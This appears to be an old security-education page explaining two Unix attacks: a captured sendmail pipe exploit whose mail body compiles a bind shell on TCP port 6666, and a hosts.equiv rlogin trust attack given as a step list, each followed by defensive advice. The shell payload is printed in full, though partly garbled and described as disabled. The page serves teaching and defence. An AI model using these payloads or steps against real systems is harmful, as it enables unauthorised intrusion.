|
How Hackers Do What They Do (DoD)
NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
How do hackers do what they do?
NOTE: There is a powerpoint 7.0 presentation that covers a lot of
this material available here. You might find it helpful to download
and print this so you can follow along with pictures and stuff.
Hackers, like security people all start at the same place, ignorant, in
need of a clue. As both groups begin learning, the same materials:
Hacker FAQ, Wietse Venema and Dan Farmer's guide to unix security
and so forth equally benefit both groups. In fact I am convinced at
this point that many of the better security people spend time on
IRC's #hack and many of the better hackers are avid readers and
contributers to the firewalls mailing list.
Even so, there is a kind of dividing line when you get into the arena
of hacking scripts and programs. I have spent a lot of time with
some of this software, but it was to understand how it works, to try
to educate the folks I am supposed to be serving on how they might
protect themselves.
The following is a discussion of a C program and some support
files, used to attack sendmail. It got captured when the hacker, who
went by the handle of zomo tried to use it on a smap demon from
the TIS Firewall toolkit.
The source distribution looked like this:
(Oh, the author's statement was that this software should not be
distributed without permission, so only part of the code is
available, sorry)
A UNIX Makefile
A main program
A sample run
Lets take a closer look at the attack itself, this is the actual e-mail
message captured by the firewall. My comments will follow a "***"
symbol.
*** Note the "|" Vertical Pipe symbol, some mailers will
allow mail to be sent to a program, this is clearly
trouble waiting to happen. ***
mail from:|/usr/ucb/tail|/bin/sh
rcpt to: nobody
data
From: |CIA
To: |daemon
Return-Receipt-To:|foobar
Subject: ZoMo rulez!
*** The mail message itself is a shell script, note
that it calls bin shell, does its work in tmp where
it creates a "c" program. If you have ever wondered
why the experts recommend that you disable the C compiler
on firewall systems :) now you know! ****
#!/bin/sh
cd /tmp
cat > call$$.c <<E-O-F
#include
#include
#include
*** the code below is a basic program to create a service port at
TCP port "6666". We ran this against a SUN UNIX computer and
were able to login as bin, no password, no problem This copy
however was disabled by Stephen 16/JUL/96 ***
main(){ int s,n,c;struct sockaddr_in
m, a;chdir("/tmp");s=socket(AF_INET);bzero((char *)
&p,sizeof(y));y.sin_family=AF_INET;
y.sin_addr.s_addr=htonl(INADDR_ANY);
y.sin_port= htons(6666);bind(s,(struct sockaddr *)&j,sizeof(y));
listen(s,1);c=sizeof(x);
v=accept(s,(struct sockaddr*)&x,&c);dup2(n,0);
dup2(n,1);execl("/local/bin/sh","in.fingerd",0);}
E-O-F
/bin/cc call$$.c -o call$$;/bin/rm -f call$$.c
/tmp/call$$
.
quit
*** That's all, pretty compact, eh ***
Now that we know, the attack, how to defend? In this case, all you
need is Sun's Sendmail patch and you are good to go. Now lets
consider the general approach here, the attack places a "grappling
hook", a small program on the soon_to_be_victim computer, that
allows the rest of the attack to be brought over. How might we
detect a grappling hook?
Probe TCP Ports is a simple program which does a fine job of
determining what ports on a computer are open, that is have a
service demon. Perhaps strobe and satan are more famous varient of
the same thing. Below is a sample run:
$ probe_tcp_ports 128.3X.XX.XXX
Host 128.38.23.119, Port 21 ("ftp" service) connection ... open.
Host 128.38.23.119, Port 23 ("telnet" service) connection ... open.
Host 128.38.23.119, Port 25 ("smtp" service) connection ... open.
Host 128.38.23.119, Port 53 ("domain" service) connection ...
open.
Host 128.38.23.119, Port 79 ("finger" service) connection ... open.
Host 128.38.23.119, Port 111 ("sunrpc" service) connection ...
open.
Host 128.38.23.119, Port 513 ("login" service) connection ... open.
Host 128.38.23.119, Port 514 ("shell" service) connection ... open.
Host 128.38.23.119, Port 515 ("printer" service) connection ...
open.
Host 128.38.23.119, Port 664 connection ... open.
...
*** Port 664 is where I have installed a grappling hook on my
bosses' computer *just kidding* ***
Now it is important to remember that the program you use to
protect yourself can just as easily be used against you. It hardly
qualifies as subtle, but hackers still run port scans across the
internet. is a program that may be used to detect such scans.
If however, the grappling hook and the file transfer is not detected,
then what happens? Well, then the rest of the attack is brought over
consider the readme from an early version of rootkit. There really
isn't much I can add to the readme, basically if someone gets to run
it on ya, they got ya. Please notice the substitute system binaries
that CERT and the like have been warning you about. They look
and feel and checksum like the "real" thing. Here is one person's
opinion on what to do if your system is compromised by an
intruder. My own thought is to throw in the towel and reload the
binaries from CD-ROM and the data-only from backups... oh and
don't forget the patches this time.
Any vulnerability in a computer system can open the door for the
grappling hook and then programs like root kit. One of these
vulnerabilities is the hosts.equiv file. Lets take a look at how this
problem can be exploited.
How do hackers do what they do?
This is a continuation from part 1 of how to hack unix.
The ever present hosts.equiv vulnerabity works because of a
characteristic of people ... we make life easy for ourselves. The
basic principal is this, the system file probably resides in
/etc/hosts.equiv. It might look like this:
$ hostname
gumby
$ cat /etc/hosts.equiv
pokey noobie
dark_shadow
$
Hostname tells us that we are on a system named gumby. We learn
that gumby "trusts" a user called noobie on a system called pokey.
All things being equal, gumby will allow noobie to login to gumby
via rlogin and without a password. Note this assumes that the
UserID (UID) for noobie is the same on gumby and on pokey. Now
as a security person we don't really care all that much if the UID for
noobie is the same across systems, because it is a pretty good bet
that the UID for bin or sys IS the same.
$ cat /etc/passwd
root:#:0:1:Operator:/:/bin/tcsh
nobody:#:65534:65534::/:
daemon:#:1:1::/:
sys:#:2:2::/:/bin/csh
bin:#:3:3::/bin:/bin/csh
The fields in this password file are:
login name:password:UID:GID:some_useless_string:home
directory:shell
If you check around on a couple unix systems you will discover
that the UID for root is zero, '0', bin three, '3' and so forth. As we
consider this vulnerability, we will use bin, because I have always
gotten to most mileage out of this user.
All that said, gumby will allow any user from dark_shadow with a
matching UID and that includes bin.
In any large group of computers it is a sure bet that some of them
have will have hosts.equivs that can be exploited. Here is the
documentation from the Satan program on this subject. Speaking of
Satan this program and others like it are one way to locate systems
that support rlogin. Another method is brute force, try and try, till a
system falls. If the hacker has access to network data collection
tools such as netlogger they can determine who is "rlogging" into
who.
The hosts.equiv attack
1. locate a host with a vulnerable hosts.equiv
2. su to bin, or other valid user
3. rlogin to victim host
4. compile rootkit or what
5. done
Now that we understand the attack, how to defend? Since a
vulnerable hosts.equiv is the problem, this is where one has to start.
Every site needs a combination of policy and education about what
is and is not an acceptable hosts.equiv. The policy needs to be
enforced via a testing program. In essence you run the first three
steps of the hosts.equiv attack on yourself. If you have a logging
system, you can use a program to detect all incoming rlogins,
rshells, and so forth and pursue the exceptions to your site's policy.
|
|
